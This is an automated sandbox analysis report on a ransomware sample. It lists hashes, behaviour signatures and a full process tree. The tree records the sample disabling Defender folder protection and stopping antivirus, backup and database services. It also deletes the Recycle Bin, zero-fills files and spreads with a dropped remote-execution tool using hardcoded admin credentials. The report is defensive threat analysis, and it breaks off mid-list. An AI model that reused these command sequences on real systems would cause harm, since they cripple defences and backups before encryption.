cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
157s
max time network
200s
platform
windows10-2004_x64
resource
win10v2004-20231127-en
resource tags

arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
submitted
14-12-2023 23:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Renames multiple (75) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2598572287-1024438387-935107970-1000\Control Panel\International\Geo\Nation	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Executes dropped EXE 1 IoCs

Processes:

eryr1zgy.exe

pid process

3320 eryr1zgy.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

232 sc.exe
1268 sc.exe
3360 sc.exe
556 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

3084 taskkill.exe
5020 taskkill.exe
3116 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

2616 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2028 PING.EXE

pid	process
3320	eryr1zgy.exe

pid	process
232	sc.exe
1268	sc.exe
3360	sc.exe
556	sc.exe

pid	process
3084	taskkill.exe
5020	taskkill.exe
3116	taskkill.exe

pid	process
2616	notepad.exe

pid	process
2028	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exetaskkill.exetaskkill.exepowershell.exetaskkill.exeeryr1zgy.exe

description	pid	process
Token: SeDebugPrivilege	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	3116	taskkill.exe
Token: SeDebugPrivilege	3084	taskkill.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	5020	taskkill.exe
Token: SeAssignPrimaryTokenPrivilege	3320	eryr1zgy.exe
Token: SeIncreaseQuotaPrivilege	3320	eryr1zgy.exe
Token: SeImpersonatePrivilege	3320	eryr1zgy.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1964 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1964 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	pid	process	target process
PID 1964 wrote to memory of 4968	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1964 wrote to memory of 4968	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1964 wrote to memory of 4968	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1964 wrote to memory of 3348	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 3348	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 3348	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 1808	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 1808	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 1808	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 3952	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 3952	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 3952	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5068	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5068	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5068	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 1492	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 1492	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 1492	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5012	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5012	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5012	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4780	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4780	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4780	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4144	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4144	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4144	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2304	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2304	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2304	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2028	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2028	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2028	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4276	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4276	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4276	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 224	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 224	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 224	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 688	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 688	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 688	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4660	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4660	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4660	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2684	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2684	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2684	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 3404	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 3404	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 3404	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2824	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2824	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2824	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4488	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4488	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4488	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5036	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5036	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 5036	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2176	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2176	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 2176	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1964 wrote to memory of 4148	1964	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:3348
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:5356
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:5648
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:232
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:4980
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5604
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:3516
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5736
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:4940
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:5784
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3352
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpAB53.bat
  2⤵
  PID:5132
- C:\Windows\SysWOW64\net.exe
  "net.exe" use \\10.127.1.24 /USER:EDENFIELD\efadmin P455w0rd
  2⤵
  PID:5976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:2044
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3084
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3116
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1268
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:3360
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:556
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:3884
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3308
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:4472
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:4568
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2388
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:4296
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2632
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:5108
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:5016
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2932
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3424
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:4148
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2176
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:5036
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:4488
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2824
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:3404
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2684
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:4660
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:688
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:224
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:4276
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:2304
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:4144
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:4780
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:5012
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:1492
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:5068
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:3952
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1808
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:3996
- C:\Users\Admin\AppData\Local\Temp\eryr1zgy.exe
  "C:\Users\Admin\AppData\Local\Temp\eryr1zgy.exe" \10.127.1.24 -u EDENFIELD\efadmin -p P455w0rd -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3320
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:5276
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:2028
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:3272
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  PID:4740
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
1⤵
PID:4252

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:5364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
1⤵
PID:5472

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:5564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:5692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:5744

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:5728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:5720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
1⤵
PID:5708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
1⤵
PID:5636

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
1⤵
PID:5800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
1⤵
PID:5772

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:5764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:5628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
1⤵
PID:5620

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:5612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:5596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
1⤵
PID:5584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:5516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:5508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:5496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:5464

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:5428

C:\Windows\SysWOW64\net1.exe
